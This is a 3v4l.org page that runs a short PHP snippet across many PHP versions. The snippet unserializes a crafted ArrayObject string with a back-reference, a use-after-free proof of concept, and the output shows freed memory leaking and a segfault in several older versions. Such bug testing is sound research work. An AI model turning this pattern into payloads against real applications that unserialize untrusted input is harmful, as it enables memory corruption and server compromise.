3v4l.org

run code in 300+ PHP versions simultaneously
<?php $inner = 'x:i:1;a:0:{};m:a:0:{}'; $exploit = 'a:2:{i:0;C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}i:1;R:5;}'; $data = unserialize($exploit); for($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data);
Output for 5.4.44 - 5.4.45, 5.5.28 - 5.5.35, 5.6.12 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.25, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.7
array(2) { [0]=> object(ArrayObject)#1 (1) { ["storage":"ArrayObject":private]=> array(0) { } } [1]=> array(0) { } }
Output for 5.4.0 - 5.4.43, 5.5.24 - 5.5.27, 5.6.8 - 5.6.11
array(2) { [0]=> object(ArrayObject)#1 (1) { ["storage":"ArrayObject":private]=> array(0) { } } [1]=> string(3) "hi2" }
Output for 5.3.19 - 5.3.29
array(2) { [0]=> object(ArrayObject)#1 (1) { ["storage":"ArrayObject":private]=> array(0) { } } [1]=> array(5) { [0]=> string(3) "hi0" [1]=> string(3) "hi1" [2]=> string(3) "hi2" [3]=> string(3) "hi3" [4]=> string(3) "hi4" } }
Output for 5.3.0 - 5.3.18
array(2) { [0]=> object(ArrayObject)#1 (1) { ["storage":"ArrayObject":private]=> array(0) { } } [1]=> array(5) { [0]=> string(3) "hi0" [1]=> string(3) "hi1" [2]=> string(3) "hi2" [3]=> string(3) "hi3" [4]=> string(3) "hi4" } }
Process exited with code 139.
Output for 5.1.0 - 5.1.6, 5.2.0 - 5.2.17
Warning: Class ArrayObject has no unserializer in /in/qGE3P on line 6 Notice: unserialize(): Error at offset 26 of 63 bytes in /in/qGE3P on line 6 bool(false)
Output for 4.3.2 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5
Notice: unserialize(): Error at offset 9 of 63 bytes in /in/qGE3P on line 6 bool(false)
Output for 4.3.0 - 4.3.1
Notice: unserialize() [http://www.php.net/function.unserialize]: Error at offset 9 of 63 bytes in /in/qGE3P on line 6 bool(false)

preferences:
247.17 ms | 401 KiB | 327 Q